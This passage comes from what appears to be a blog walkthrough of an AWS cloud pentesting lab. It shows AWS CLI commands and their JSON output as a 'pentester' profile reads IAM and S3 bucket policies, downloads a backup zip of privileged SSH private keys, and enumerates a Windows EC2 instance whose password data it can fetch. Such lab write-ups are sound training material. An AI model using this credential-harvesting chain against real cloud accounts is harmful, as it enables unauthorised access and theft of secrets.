</span></span><span style="display:flex;"><span>                    <span style="color:#e6db74">&#34;Resource&#34;</span>: <span style="color:#f92672">[</span>
</span></span><span style="display:flex;"><span>                        <span style="color:#e6db74">&#34;arn:aws:iam::427648302155:user/contractor&#34;</span>,
</span></span><span style="display:flex;"><span>                        <span style="color:#e6db74">&#34;arn:aws:iam::427648302155:policy/Policy&#34;</span>,
</span></span><span style="display:flex;"><span>                        <span style="color:#e6db74">&#34;arn:aws:s3:::hl-it-admin&#34;</span>
</span></span><span style="display:flex;"><span>                    <span style="color:#f92672">]</span>
</span></span><span style="display:flex;"><span>                <span style="color:#f92672">}</span>
</span></span><span style="display:flex;"><span>            <span style="color:#f92672">]</span>
</span></span><span style="display:flex;"><span>        <span style="color:#f92672">}</span>,
</span></span><span style="display:flex;"><span>        <span style="color:#e6db74">&#34;VersionId&#34;</span>: <span style="color:#e6db74">&#34;v4&#34;</span>,
</span></span><span style="display:flex;"><span>        <span style="color:#e6db74">&#34;IsDefaultVersion&#34;</span>: true,
</span></span><span style="display:flex;"><span>        <span style="color:#e6db74">&#34;CreateDate&#34;</span>: <span style="color:#e6db74">&#34;2023-07-28T14:24:22+00:00&#34;</span>
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">}</span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">}</span>
</span></span></code></pre></div><p>There is some interesting information and in summary the above policy:</p>
<ul>
<li>Allows describing instances (<code>ec2:DescribeInstances</code>) for all resources.</li>
<li>Allows getting password data (<code>ec2:GetPasswordData</code>) for a specific instance (<code>arn:aws:ec2:us-east-1:427648302155:instance/i-04cc1c2c7ec1af1b5</code>).</li>
<li>Allows multiple IAM actions (<code>iam:GetPolicyVersion</code>, <code>iam:GetPolicy</code>, <code>iam:GetUserPolicy</code>, <code>iam:ListAttachedUserPolicies</code>).</li>
<li>Allows getting S3 bucket policy (<code>arn:aws:s3:::hl-it-admin</code>).</li>
</ul>
<p>Let&rsquo;s start with looking at the bucket policy.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>❯ aws --profile pentester s3api get-bucket-policy --bucket hl-it-admin
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">{</span>
</span></span><span style="display:flex;"><span>    <span style="color:#e6db74">&#34;Policy&#34;</span>: <span style="color:#e6db74">&#34;{\&#34;Version\&#34;:\&#34;2012-10-17\&#34;,\&#34;Statement\&#34;:[{\&#34;Effect\&#34;:\&#34;Allow\&#34;,\&#34;Principal\&#34;:{\&#34;AWS\&#34;:\&#34;arn:aws:iam::427648302155:user/contractor\&#34;},\&#34;Action\&#34;:\&#34;s3:GetObject\&#34;,\&#34;Resource\&#34;:\&#34;arn:aws:s3:::hl-it-admin/ssh_keys/ssh_keys_backup.zip\&#34;}]}&#34;</span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">}</span>
</span></span></code></pre></div><p>Whilst the above is readable, we will make the output cleaner by parsing it to <code>jq</code> and we can see that we have access to <code>ssh_keys_backup.zip</code></p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>❯ aws --profile pentester s3api get-bucket-policy --bucket hl-it-admin | jq -r <span style="color:#e6db74">&#39;.Policy | fromjson&#39;</span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">{</span>
</span></span><span style="display:flex;"><span>  <span style="color:#e6db74">&#34;Version&#34;</span>: <span style="color:#e6db74">&#34;2012-10-17&#34;</span>,
</span></span><span style="display:flex;"><span>  <span style="color:#e6db74">&#34;Statement&#34;</span>: <span style="color:#f92672">[</span>
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">{</span>
</span></span><span style="display:flex;"><span>      <span style="color:#e6db74">&#34;Effect&#34;</span>: <span style="color:#e6db74">&#34;Allow&#34;</span>,
</span></span><span style="display:flex;"><span>      <span style="color:#e6db74">&#34;Principal&#34;</span>: <span style="color:#f92672">{</span>
</span></span><span style="display:flex;"><span>        <span style="color:#e6db74">&#34;AWS&#34;</span>: <span style="color:#e6db74">&#34;arn:aws:iam::427648302155:user/contractor&#34;</span>
</span></span><span style="display:flex;"><span>      <span style="color:#f92672">}</span>,
</span></span><span style="display:flex;"><span>      <span style="color:#e6db74">&#34;Action&#34;</span>: <span style="color:#e6db74">&#34;s3:GetObject&#34;</span>,
</span></span><span style="display:flex;"><span>      <span style="color:#e6db74">&#34;Resource&#34;</span>: <span style="color:#e6db74">&#34;arn:aws:s3:::hl-it-admin/ssh_keys/ssh_keys_backup.zip&#34;</span>
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">}</span>
</span></span><span style="display:flex;"><span>  <span style="color:#f92672">]</span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">}</span>
</span></span></code></pre></div><p>With this information, we shall download the zip file and then list the contents which shows that there are several key pairs</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>❯ aws --profile pentester s3 cp s3://hl-it-admin/ssh_keys/ssh_keys_backup.zip .
</span></span><span style="display:flex;"><span>download: s3://hl-it-admin/ssh_keys/ssh_keys_backup.zip to ./ssh_keys_backup.zip
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>❯ unzip -l ssh_keys_backup.zip
</span></span><span style="display:flex;"><span>Archive:  ssh_keys_backup.zip
</span></span><span style="display:flex;"><span>  Length      Date    Time    Name
</span></span><span style="display:flex;"><span>---------  ---------- -----   ----
</span></span><span style="display:flex;"><span>     <span style="color:#ae81ff">2590</span>  2023-07-27 18:31   audit.pem
</span></span><span style="display:flex;"><span>     <span style="color:#ae81ff">2602</span>  2023-07-27 18:31   contractor.pem
</span></span><span style="display:flex;"><span>     <span style="color:#ae81ff">2062</span>  2023-07-27 18:31   contractor.ppk
</span></span><span style="display:flex;"><span>     <span style="color:#ae81ff">2602</span>  2023-07-27 18:31   iam-audit.pem
</span></span><span style="display:flex;"><span>     <span style="color:#ae81ff">1678</span>  2023-07-27 18:32   it-admin.pem
</span></span><span style="display:flex;"><span>     <span style="color:#ae81ff">1678</span>  2023-07-27 18:32   jenkins.pem
</span></span><span style="display:flex;"><span>     <span style="color:#ae81ff">2602</span>  2023-07-27 18:32   octopus-deploy.pem
</span></span><span style="display:flex;"><span>     <span style="color:#ae81ff">2590</span>  2023-07-27 18:32   sunita-adm.pem
</span></span><span style="display:flex;"><span>     <span style="color:#ae81ff">1679</span>  2023-07-27 18:32   viewer-dev.pem
</span></span><span style="display:flex;"><span>     <span style="color:#ae81ff">1428</span>  2023-07-27 18:32   viewer-dev.ppk
</span></span><span style="display:flex;"><span>---------                     -------
</span></span><span style="display:flex;"><span>    <span style="color:#ae81ff">21511</span>                     <span style="color:#ae81ff">10</span> files
</span></span></code></pre></div><p>So we have a list of keys for some high privileged accounts, but we need to find out where we can leverage those.  You will recall that our account has ability to <code>DescribeInstances</code> on EC2 as well as <code>GetPasswordData</code> for a defined EC2 instance which we will explore further.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>❯ aws --profile pentester ec2 describe-instances --instance-ids i-04cc1c2c7ec1af1b5
</span></span><span style="display:flex;"><span><span style="color:#f92672">{</span>
</span></span><span style="display:flex;"><span>    <span style="color:#e6db74">&#34;Reservations&#34;</span>: <span style="color:#f92672">[</span>
</span></span><span style="display:flex;"><span>        <span style="color:#f92672">{</span>
</span></span><span style="display:flex;"><span>            <span style="color:#e6db74">&#34;Groups&#34;</span>: <span style="color:#f92672">[]</span>,
</span></span><span style="display:flex;"><span>            <span style="color:#e6db74">&#34;Instances&#34;</span>: <span style="color:#f92672">[</span>
</span></span><span style="display:flex;"><span>                <span style="color:#f92672">{</span>
</span></span><span style="display:flex;"><span>                    <span style="color:#e6db74">&#34;AmiLaunchIndex&#34;</span>: 0,
</span></span><span style="display:flex;"><span>                    <span style="color:#e6db74">&#34;ImageId&#34;</span>: <span style="color:#e6db74">&#34;ami-0ae60b1f2a289b01e&#34;</span>,
</span></span><span style="display:flex;"><span>                    <span style="color:#e6db74">&#34;InstanceId&#34;</span>: <span style="color:#e6db74">&#34;i-04cc1c2c7ec1af1b5&#34;</span>,
</span></span><span style="display:flex;"><span>                    <span style="color:#e6db74">&#34;InstanceType&#34;</span>: <span style="color:#e6db74">&#34;t2.micro&#34;</span>,
</span></span><span style="display:flex;"><span>                    <span style="color:#e6db74">&#34;KeyName&#34;</span>: <span style="color:#e6db74">&#34;it-admin&#34;</span>,
</span></span><span style="display:flex;"><span>                    <span style="color:#e6db74">&#34;LaunchTime&#34;</span>: <span style="color:#e6db74">&#34;2023-07-27T18:13:47+00:00&#34;</span>,
</span></span><span style="display:flex;"><span>                    <span style="color:#e6db74">&#34;Monitoring&#34;</span>: <span style="color:#f92672">{</span>
</span></span><span style="display:flex;"><span>                        <span style="color:#e6db74">&#34;State&#34;</span>: <span style="color:#e6db74">&#34;disabled&#34;</span>
</span></span><span style="display:flex;"><span>                    <span style="color:#f92672">}</span>,
</span></span><span style="display:flex;"><span>                    <span style="color:#e6db74">&#34;Placement&#34;</span>: <span style="color:#f92672">{</span>
</span></span><span style="display:flex;"><span>                        <span style="color:#e6db74">&#34;AvailabilityZone&#34;</span>: <span style="color:#e6db74">&#34;us-east-1b&#34;</span>,
</span></span><span style="display:flex;"><span>                        <span style="color:#e6db74">&#34;GroupName&#34;</span>: <span style="color:#e6db74">&#34;&#34;</span>,
</span></span><span style="display:flex;"><span>                        <span style="color:#e6db74">&#34;Tenancy&#34;</span>: <span style="color:#e6db74">&#34;default&#34;</span>
</span></span><span style="display:flex;"><span>                    <span style="color:#f92672">}</span>,
</span></span><span style="display:flex;"><span>                    <span style="color:#e6db74">&#34;Platform&#34;</span>: <span style="color:#e6db74">&#34;windows&#34;</span>,
</span></span><span style="display:flex;"><span>                    <span style="color:#e6db74">&#34;PrivateDnsName&#34;</span>: <span style="color:#e6db74">&#34;ip-172-31-93-149.ec2.internal&#34;</span>,
</span></span><span style="display:flex;"><span>                    <span style="color:#e6db74">&#34;PrivateIpAddress&#34;</span>: <span style="color:#e6db74">&#34;172.31.93.149&#34;</span>,
</span></span><span style="display:flex;"><span>                    <span style="color:#e6db74">&#34;ProductCodes&#34;</span>: <span style="color:#f92672">[]</span>,
</span></span><span style="display:flex;"><span>                    <span style="color:#e6db74">&#34;PublicDnsName&#34;</span>: <span style="color:#e6db74">&#34;ec2-44-204-191-38.compute-1.amazonaws.com&#34;</span>,
</span></span><span style="display:flex;"><span>                    <span style="color:#e6db74">&#34;PublicIpAddress&#34;</span>: <span style="color:#e6db74">&#34;44.204.191.38&#34;</span>,
</span></span><span style="display:flex;"><span>                    <span style="color:#e6db74">&#34;State&#34;</span>: <span style="color:#f92672">{</span>
</span></span><span style="display:flex;"><span>                        <span style="color:#e6db74">&#34;Code&#34;</span>: 16,
</span></span><span style="display:flex;"><span>                        <span style="color:#e6db74">&#34;Name&#34;</span>: <span style="color:#e6db74">&#34;running&#34;</span>
</span></span><span style="display:flex;"><span>                    <span style="color:#f92672">}</span>,
</span></span><span style="display:flex;"><span>                    <span style="color:#e6db74">&#34;StateTransitionReason&#34;</span>: <span style="color:#e6db74">&#34;&#34;</span>,
</span></span><span style="display:flex;"><span>                    <span style="color:#e6db74">&#34;SubnetId&#34;</span>: <span style="color:#e6db74">&#34;subnet-02700fc3bdb2a97ac&#34;</span>,
</span></span><span style="display:flex;"><span>                    <span style="color:#e6db74">&#34;VpcId&#34;</span>: <span style="color:#e6db74">&#34;vpc-088b21ff238e2caed&#34;</span>,
</span></span><span style="display:flex;"><span>                    <span style="color:#e6db74">&#34;Architecture&#34;</span>: <span style="color:#e6db74">&#34;x86_64&#34;</span>,
</span></span><span style="display:flex;"><span>                    <span style="color:#e6db74">&#34;BlockDeviceMappings&#34;</span>: <span style="color:#f92672">[</span>
</span></span><span style="display:flex;"><span>                        <span style="color:#f92672">{</span>
</span></span><span style="display:flex;"><span>                            <span style="color:#e6db74">&#34;DeviceName&#34;</span>: <span style="color:#e6db74">&#34;/dev/sda1&#34;</span>,
</span></span><span style="display:flex;"><span>                            <span style="color:#e6db74">&#34;Ebs&#34;</span>: <span style="color:#f92672">{</span>
</span></span><span style="display:flex;"><span>                                <span style="color:#e6db74">&#34;AttachTime&#34;</span>: <span style="color:#e6db74">&#34;2023-07-27T18:13:48+00:00&#34;</span>,
</span></span><span style="display:flex;"><span>                                <span style="color:#e6db74">&#34;DeleteOnTermination&#34;</span>: true,
</span></span><span style="display:flex;"><span>                                <span style="color:#e6db74">&#34;Status&#34;</span>: <span style="color:#e6db74">&#34;attached&#34;</span>,
</span></span><span style="display:flex;"><span>                                <span style="color:#e6db74">&#34;VolumeId&#34;</span>: <span style="color:#e6db74">&#34;vol-07411201581e71552&#34;</span>
</span></span><span style="display:flex;"><span>                            <span style="color:#f92672">}</span>
</span></span><span style="display:flex;"><span>                        <span style="color:#f92672">}</span>
</span></span><span style="display:flex;"><span>                    <span style="color:#f92672">]</span>,
</span></span><span style="display:flex;"><span>                    <span style="color:#e6db74">&#34;ClientToken&#34;</span>: <span style="color:#e6db74">&#34;04674e37-22e8-44b8-afff-94f5e36a4356&#34;</span>,
</span></span><span style="display:flex;"><span>                    <span style="color:#e6db74">&#34;EbsOptimized&#34;</span>: false,
</span></span><span style="display:flex;"><span>                    <span style="color:#e6db74">&#34;EnaSupport&#34;</span>: true,
</span></span><span style="display:flex;"><span>                    <span style="color:#e6db74">&#34;Hypervisor&#34;</span>: <span style="color:#e6db74">&#34;xen&#34;</span>,
</span></span><span style="display:flex;"><span>                    <span style="color:#e6db74">&#34;NetworkInterfaces&#34;</span>: <span style="color:#f92672">[</span>
</span></span><span style="display:flex;"><span>                        <span style="color:#f92672">{</span>
</span></span><span style="display:flex;"><span>                            <span style="color:#e6db74">&#34;Association&#34;</span>: <span style="color:#f92672">{</span>
</span></span><span style="display:flex;"><span>                                <span style="color:#e6db74">&#34;IpOwnerId&#34;</span>: <span style="color:#e6db74">&#34;amazon&#34;</span>,
</span></span><span style="display:flex;"><span>                                <span style="color:#e6db74">&#34;PublicDnsName&#34;</span>: <span style="color:#e6db74">&#34;ec2-44-204-191-38.compute-1.amazonaws.com&#34;</span>,
</span></span><span style="display:flex;"><span>                                <span style="color:#e6db74">&#34;PublicIp&#34;</span>: <span style="color:#e6db74">&#34;44.204.191.38&#34;</span>
</span></span><span style="display:flex;"><span>                            <span style="color:#f92672">}</span>,
</span></span><span style="display:flex;"><span>                            <span style="color:#e6db74">&#34;Attachment&#34;</span>: <span style="color:#f92672">{</span>
</span></span><span style="display:flex;"><span>                                <span style="color:#e6db74">&#34;AttachTime&#34;</span>: <span style="color:#e6db74">&#34;2023-07-27T18:13:47+00:00&#34;</span>,
</span></span><span style="display:flex;"><span>                                <span style="color:#e6db74">&#34;AttachmentId&#34;</span>: <span style="color:#e6db74">&#34;eni-attach-039c3eace03c5924e&#34;</span>,
</span></span><span style="display:flex;"><span>                                <span style="color:#e6db74">&#34;DeleteOnTermination&#34;</span>: true,
</span></span><span style="display:flex;"><span>                                <span style="color:#e6db74">&#34;DeviceIndex&#34;</span>: 0,
</span></span><span style="display:flex;"><span>                                <span style="color:#e6db74">&#34;Status&#34;</span>: <span style="color:#e6db74">&#34;attached&#34;</span>,
</span></span><span style="display:flex;"><span>                                <span style="color:#e6db74">&#34;NetworkCardIndex&#34;</span>: <span style="color:#ae81ff">0</span>
</span></span><span style="display:flex;"><span>                            <span style="color:#f92672">}</span>,
</span></span><span style="display:flex;"><span>                            <span style="color:#e6db74">&#34;Description&#34;</span>: <span style="color:#e6db74">&#34;&#34;</span>,
</span></span><span style="display:flex;"><span>                            <span style="color:#e6db74">&#34;Groups&#34;</span>: <span style="color:#f92672">[</span>
</span></span><span style="display:flex;"><span>                                <span style="color:#f92672">{</span>
</span></span><span style="display:flex;"><span>                                    <span style="color:#e6db74">&#34;GroupName&#34;</span>: <span style="color:#e6db74">&#34;launch-wizard-19&#34;</span>,
</span></span><span style="display:flex;"><span>                                    <span style="color:#e6db74">&#34;GroupId&#34;</span>: <span style="color:#e6db74">&#34;sg-0ae31edc4377d337b&#34;</span>
</span></span><span style="display:flex;"><span>                                <span style="color:#f92672">}</span>
</span></span><span style="display:flex;"><span>                            <span style="color:#f92672">]</span>,
</span></span><span style="display:flex;"><span>                            <span style="color:#e6db74">&#34;Ipv6Addresses&#34;</span>: <span style="color:#f92672">[]</span>,
</span></span><span style="display:flex;"><span>                            <span style="color:#e6db74">&#34;MacAddress&#34;</span>: <span style="color:#e6db74">&#34;12:7b:11:42:a4:0d&#34;</span>,
</span></span><span style="display:flex;"><span>                            <span style="color:#e6db74">&#34;NetworkInterfaceId&#34;</span>: <span style="color:#e6db74">&#34;eni-070802f93fd899fe9&#34;</span>,
</span></span><span style="display:flex;"><span>                            <span style="color:#e6db74">&#34;OwnerId&#34;</span>: <span style="color:#e6db74">&#34;427648302155&#34;</span>,
</span></span><span style="display:flex;"><span>                            <span style="color:#e6db74">&#34;PrivateDnsName&#34;</span>: <span style="color:#e6db74">&#34;ip-172-31-93-149.ec2.internal&#34;</span>,
</span></span><span style="display:flex;"><span>                            <span style="color:#e6db74">&#34;PrivateIpAddress&#34;</span>: <span style="color:#e6db74">&#34;172.31.93.149&#34;</span>,
</span></span><span style="display:flex;"><span>                            <span style="color:#e6db74">&#34;PrivateIpAddresses&#34;</span>: <span style="color:#f92672">[</span>
</span></span><span style="display:flex;"><span>                                <span style="color:#f92672">{</span>
</span></span><span style="display:flex;"><span>                                    <span style="color:#e6db74">&#34;Association&#34;</span>: <span style="color:#f92672">{</span>
</span></span><span style="display:flex;"><span>                                        <span style="color:#e6db74">&#34;IpOwnerId&#34;</span>: <span style="color:#e6db74">&#34;amazon&#34;</span>,
</span></span><span style="display:flex;"><span>                                        <span style="color:#e6db74">&#34;PublicDnsName&#34;</span>: <span style="color:#e6db74">&#34;ec2-44-204-191-38.compute-1.amazonaws.com&#34;</span>,
</span></span><span style="display:flex;"><span>                                        <span style="color:#e6db74">&#34;PublicIp&#34;</span>: <span style="color:#e6db74">&#34;44.204.191.38&#34;</span>
</span></span><span style="display:flex;"><span>                                    <span style="color:#f92672">}</span>,
</span></span><span style="display:flex;"><span>                                    <span style="color:#e6db74">&#34;Primary&#34;</span>: true,
</span></span><span style="display:flex;"><span>                                    <span style="color:#e6db74">&#34;PrivateDnsName&#34;</span>: <span style="color:#e6db74">&#34;ip-172-31-93-149.ec2.internal&#34;</span>,
</span></span><span style="display:flex;"><span>                                    <span style="color:#e6db74">&#34;PrivateIpAddress&#34;</span>: <span style="color:#e6db74">&#34;172.31.93.149&#34;</span>
</span></span><span style="display:flex;"><span>                                <span style="color:#f92672">}</span>
</span></span><span style="display:flex;"><span>                            <span style="color:#f92672">]</span>,
</span></span><span style="display:flex;"><span>                            <span style="color:#e6db74">&#34;SourceDestCheck&#34;</span>: true,
</span></span><span style="display:flex;"><span>                            <span style="color:#e6db74">&#34;Status&#34;</span>: <span style="color:#e6db74">&#34;in-use&#34;</span>,
</span></span><span style="display:flex;"><span>                            <span style="color:#e6db74">&#34;SubnetId&#34;</span>: <span style="color:#e6db74">&#34;subnet-02700fc3bdb2a97ac&#34;</span>,
</span></span><span style="display:flex;"><span>                            <span style="color:#e6db74">&#34;VpcId&#34;</span>: <span style="color:#e6db74">&#34;vpc-088b21ff238e2caed&#34;</span>,
</span></span><span style="display:flex;"><span>                            <span style="color:#e6db74">&#34;InterfaceType&#34;</span>: <span style="color:#e6db74">&#34;interface&#34;</span>
</span></span><span style="display:flex;"><span>                        <span style="color:#f92672">}</span>
</span></span><span style="display:flex;"><span>                    <span style="color:#f92672">]</span>,
</span></span><span style="display:flex;"><span>                    <span style="color:#e6db74">&#34;RootDeviceName&#34;</span>: <span style="color:#e6db74">&#34;/dev/sda1&#34;</span>,
</span></span><span style="display:flex;"><span>                    <span style="color:#e6db74">&#34;RootDeviceType&#34;</span>: <span style="color:#e6db74">&#34;ebs&#34;</span>,
</span></span><span style="display:flex;"><span>                    <span style="color:#e6db74">&#34;SecurityGroups&#34;</span>: <span style="color:#f92672">[</span>
</span></span><span style="display:flex;"><span>                        <span style="color:#f92672">{</span>
</span></span><span style="display:flex;"><span>                            <span style="color:#e6db74">&#34;GroupName&#34;</span>: <span style="color:#e6db74">&#34;launch-wizard-19&#34;</span>,
</span></span><span style="display:flex;"><span>                            <span style="color:#e6db74">&#34;GroupId&#34;</span>: <span style="color:#e6db74">&#34;sg-0ae31edc4377d337b&#34;</span>
</span></span><span style="display:flex;"><span>                        <span style="color:#f92672">}</span>
</span></span><span style="display:flex;"><span>                    <span style="color:#f92672">]</span>,
</span></span><span style="display:flex;"><span>                    <span style="color:#e6db74">&#34;SourceDestCheck&#34;</span>: true,
</span></span><span style="display:flex;"><span>                    <span style="color:#e6db74">&#34;Tags&#34;</span>: <span style="color:#f92672">[</span>
</span></span><span style="display:flex;"><span>                        <span style="color:#f92672">{</span>
</span></span><span style="display:flex;"><span>                            <span style="color:#e6db74">&#34;Key&#34;</span>: <span style="color:#e6db74">&#34;Name&#34;</span>,
</span></span><span style="display:flex;"><span>                            <span style="color:#e6db74">&#34;Value&#34;</span>: <span style="color:#e6db74">&#34;Backup&#34;</span>
</span></span><span style="display:flex;"><span>                        <span style="color:#f92672">}</span>
</span></span><span style="display:flex;"><span>                    <span style="color:#f92672">]</span>,
</span></span><span style="display:flex;"><span>                    <span style="color:#e6db74">&#34;VirtualizationType&#34;</span>: <span style="color:#e6db74">&#34;hvm&#34;</span>,
</span></span><span style="display:flex;"><span>                    <span style="color:#e6db74">&#34;CpuOptions&#34;</span>: <span style="color:#f92672">{</span>
</span></span><span style="display:flex;"><span>                        <span style="color:#e6db74">&#34;CoreCount&#34;</span>: 1,
</span></span><span style="display:flex;"><span>                        <span style="color:#e6db74">&#34;ThreadsPerCore&#34;</span>: <span style="color:#ae81ff">1</span>
</span></span><span style="display:flex;"><span>                    <span style="color:#f92672">}</span>,
</span></span><span style="display:flex;"><span>                    <span style="color:#e6db74">&#34;CapacityReservationSpecification&#34;</span>: <span style="color:#f92672">{</span>
</span></span><span style="display:flex;"><span>                        <span style="color:#e6db74">&#34;CapacityReservationPreference&#34;</span>: <span style="color:#e6db74">&#34;open&#34;</span>
</span></span><span style="display:flex;"><span>                    <span style="color:#f92672">}</span>,
</span></span><span style="display:flex;"><span>                    <span style="color:#e6db74">&#34;HibernationOptions&#34;</span>: <span style="color:#f92672">{</span>
</span></span><span style="display:flex;"><span>                        <span style="color:#e6db74">&#34;Configured&#34;</span>: false
</span></span><span style="display:flex;"><span>                    <span style="color:#f92672">}</span>,
</span></span><span style="display:flex;"><span>                    <span style="color:#e6db74">&#34;MetadataOptions&#34;</span>: <span style="color:#f92672">{</span>
</span></span><span style="display:flex;"><span>                        <span style="color:#e6db74">&#34;State&#34;</span>: <span style="color:#e6db74">&#34;applied&#34;</span>,
</span></span><span style="display:flex;"><span>                        <span style="color:#e6db74">&#34;HttpTokens&#34;</span>: <span style="color:#e6db74">&#34;optional&#34;</span>,
</span></span><span style="display:flex;"><span>                        <span style="color:#e6db74">&#34;HttpPutResponseHopLimit&#34;</span>: 1,
</span></span><span style="display:flex;"><span>                        <span style="color:#e6db74">&#34;HttpEndpoint&#34;</span>: <span style="color:#e6db74">&#34;enabled&#34;</span>,
</span></span><span style="display:flex;"><span>                        <span style="color:#e6db74">&#34;HttpProtocolIpv6&#34;</span>: <span style="color:#e6db74">&#34;disabled&#34;</span>,
</span></span><span style="display:flex;"><span>                        <span style="color:#e6db74">&#34;InstanceMetadataTags&#34;</span>: <span style="color:#e6db74">&#34;disabled&#34;</span>
</span></span><span style="display:flex;"><span>                    <span style="color:#f92672">}</span>,
</span></span><span style="display:flex;"><span>                    <span style="color:#e6db74">&#34;EnclaveOptions&#34;</span>: <span style="color:#f92672">{</span>
</span></span><span style="display:flex;"><span>                        <span style="color:#e6db74">&#34;Enabled&#34;</span>: false
</span></span><span style="display:flex;"><span>                    <span style="color:#f92672">}</span>,
</span></span><span style="display:flex;"><span>                    <span style="color:#e6db74">&#34;PlatformDetails&#34;</span>: <span style="color:#e6db74">&#34;Windows&#34;</span>,
</span></span><span style="display:flex;"><span>                    <span style="color:#e6db74">&#34;UsageOperation&#34;</span>: <span style="color:#e6db74">&#34;RunInstances:0002&#34;</span>,
</span></span><span style="display:flex;"><span>                    <span style="color:#e6db74">&#34;UsageOperationUpdateTime&#34;</span>: <span style="color:#e6db74">&#34;2023-07-27T18:13:47+00:00&#34;</span>,
</span></span><span style="display:flex;"><span>                    <span style="color:#e6db74">&#34;PrivateDnsNameOptions&#34;</span>: <span style="color:#f92672">{</span>
</span></span><span style="display:flex;"><span>                        <span style="color:#e6db74">&#34;HostnameType&#34;</span>: <span style="color:#e6db74">&#34;ip-name&#34;</span>,
</span></span><span style="display:flex;"><span>                        <span style="color:#e6db74">&#34;EnableResourceNameDnsARecord&#34;</span>: true,
</span></span><span style="display:flex;"><span>                        <span style="color:#e6db74">&#34;EnableResourceNameDnsAAAARecord&#34;</span>: false
</span></span><span style="display:flex;"><span>                    <span style="color:#f92672">}</span>,
</span></span><span style="display:flex;"><span>                    <span style="color:#e6db74">&#34;MaintenanceOptions&#34;</span>: <span style="color:#f92672">{</span>
</span></span><span style="display:flex;"><span>                        <span style="color:#e6db74">&#34;AutoRecovery&#34;</span>: <span style="color:#e6db74">&#34;default&#34;</span>
</span></span><span style="display:flex;"><span>                    <span style="color:#f92672">}</span>,
</span></span><span style="display:flex;"><span>                    <span style="color:#e6db74">&#34;CurrentInstanceBootMode&#34;</span>: <span style="color:#e6db74">&#34;legacy-bios&#34;</span>
</span></span><span style="display:flex;"><span>                <span style="color:#f92672">}</span>
</span></span><span style="display:flex;"><span>            <span style="color:#f92672">]</span>,
</span></span><span style="display:flex;"><span>            <span style="color:#e6db74">&#34;OwnerId&#34;</span>: <span style="color:#e6db74">&#34;427648302155&#34;</span>,
</span></span><span style="display:flex;"><span>            <span style="color:#e6db74">&#34;ReservationId&#34;</span>: <span style="color:#e6db74">&#34;r-005e5ae930185ce9f&#34;</span>
</span></span><span style="display:flex;"><span>        <span style="color:#f92672">}</span>
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">]</span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">}</span>
</span></span></code></pre></div><p>There is a LOT of information above and whilst we could filter this for the key information that we need via the AWS CLI, I personally find it easier to do it via <code>jq</code> to extract key information that we need to move forward.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>❯ aws --profile pentester ec2 describe-instances --instance-ids i-04cc1c2c7ec1af1b5 | jq -r <span style="color:#e6db74">&#39;.Reservations[].Instances[] | {InstanceId, InstanceType, KeyName, LaunchTime, PrivateIpAddress, PublicIpAddress, PublicDnsName, PlatformDetails, State: .State.Name, AvailabilityZone: .Placement.AvailabilityZone, SubnetId, VpcId, SecurityGroups, Tags}&#39;</span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">{</span>
</span></span><span style="display:flex;"><span>  <span style="color:#e6db74">&#34;InstanceId&#34;</span>: <span style="color:#e6db74">&#34;i-04cc1c2c7ec1af1b5&#34;</span>,
</span></span><span style="display:flex;"><span>  <span style="color:#e6db74">&#34;InstanceType&#34;</span>: <span style="color:#e6db74">&#34;t2.micro&#34;</span>,
</span></span><span style="display:flex;"><span>  <span style="color:#e6db74">&#34;KeyName&#34;</span>: <span style="color:#e6db74">&#34;it-admin&#34;</span>,
</span></span><span style="display:flex;"><span>  <span style="color:#e6db74">&#34;LaunchTime&#34;</span>: <span style="color:#e6db74">&#34;2023-07-27T18:13:47+00:00&#34;</span>,
</span></span><span style="display:flex;"><span>  <span style="color:#e6db74">&#34;PrivateIpAddress&#34;</span>: <span style="color:#e6db74">&#34;172.31.93.149&#34;</span>,
</span></span><span style="display:flex;"><span>  <span style="color:#e6db74">&#34;PublicIpAddress&#34;</span>: <span style="color:#e6db74">&#34;44.204.191.38&#34;</span>,
</span></span><span style="display:flex;"><span>  <span style="color:#e6db74">&#34;PublicDnsName&#34;</span>: <span style="color:#e6db74">&#34;ec2-44-204-191-38.compute-1.amazonaws.com&#34;</span>,
</span></span><span style="display:flex;"><span>  <span style="color:#e6db74">&#34;PlatformDetails&#34;</span>: <span style="color:#e6db74">&#34;Windows&#34;</span>,
</span></span><span style="display:flex;"><span>  <span style="color:#e6db74">&#34;State&#34;</span>: <span style="color:#e6db74">&#34;running&#34;</span>,
</span></span><span style="display:flex;"><span>  <span style="color:#e6db74">&#34;AvailabilityZone&#34;</span>: <span style="color:#e6db74">&#34;us-east-1b&#34;</span>,
</span></span><span style="display:flex;"><span>  <span style="color:#e6db74">&#34;SubnetId&#34;</span>: <span style="color:#e6db74">&#34;subnet-02700fc3bdb2a97ac&#34;</span>,
</span></span><span style="display:flex;"><span>  <span style="color:#e6db74">&#34;VpcId&#34;</span>: <span style="color:#e6db74">&#34;vpc-088b21ff238e2caed&#34;</span>,
</span></span><span style="display:flex;"><span>  <span style="color:#e6db74">&#34;SecurityGroups&#34;</span>: <span style="color:#f92672">[</span>
